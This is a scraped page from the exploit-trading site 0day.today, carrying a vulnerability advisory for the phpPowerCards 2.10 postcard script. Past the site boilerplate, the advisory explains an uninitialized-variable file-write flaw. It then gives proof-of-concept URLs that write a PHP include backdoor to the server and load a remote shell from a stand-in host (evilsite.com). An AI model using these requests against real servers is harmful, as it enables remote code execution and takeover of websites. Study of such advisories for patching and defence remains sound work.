0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
phpPowerCards 2.10 (txt.inc.php) Remote Code Execution Vulnerability
==================================================================== phpPowerCards 2.10 (txt.inc.php) Remote Code Execution Vulnerability ==================================================================== +------------------------------------------------------------------------------------------- + phpPowerCards 2.10 (txt.inc.php) Remote Code Execution Vulnerability +------------------------------------------------------------------------------------------- + Affected Software .: phpPowerCards 2.10 + Vendor ............: http://www.giombetti.com/ + Download ..........: http://lu.download.giombetti.com/phpPowerCards/phppowercards2.10.zip + Description .......: "phpPowerCards is a powerfull PHP based postcard script." + Class .............: Remote Code Execution + Risk ..............: High (Remote Code Execution) + Found By ..........: nuffsaid <nuffsaid[at]newbslove.us> +------------------------------------------------------------------------------------------- + Details: + phpPowerCards db/txt.inc.php does not initialize the $file variable before using it in the + fopen() function on line 10, after $file is opened it then writes several variables which + are also uninitialized to $file using the fputs() function. Assuming register_globals = on, + we can initialize these variables in a query string and then write anything to a file we + desire on the target box that's running phpPowerCards. + + Vulnerable Code: + db/txt.inc.php, line(s) 10: $fp = fopen("$file","a"); + db/txt.inc.php, line(s) 23: fputs($fp, $email[to]. "??" .$email[from]. "??" .$name[to]. "??" .$name[from]. "??" .$picture. "??" .$comment. "??" .$sessionID. "\n"); + + Proof of Concept: + http://[target]/[path]/db/txt.inc.php?file=[file]&check=0&email[to]=[evil code] + http://[target]/[path]/db/txt.inc.php?file=[file]&check=0&comment=[evil code] + ... same thing repeated for each variable in the second argument of fputs() on line 23 + + -> http://[target]/[path]/db/txt.inc.php?file=../evilfile.php&check=0&email[to]=+%3C%3Fphp+include%28%24evil_include%29%3B+%3F%3E+ + -> http://[target]/[path]/evilfile.php?evil_include=http://evilsite.com/shell.php +------------------------------------------------------------------------------------------- # 0day.today [2024-12-26] #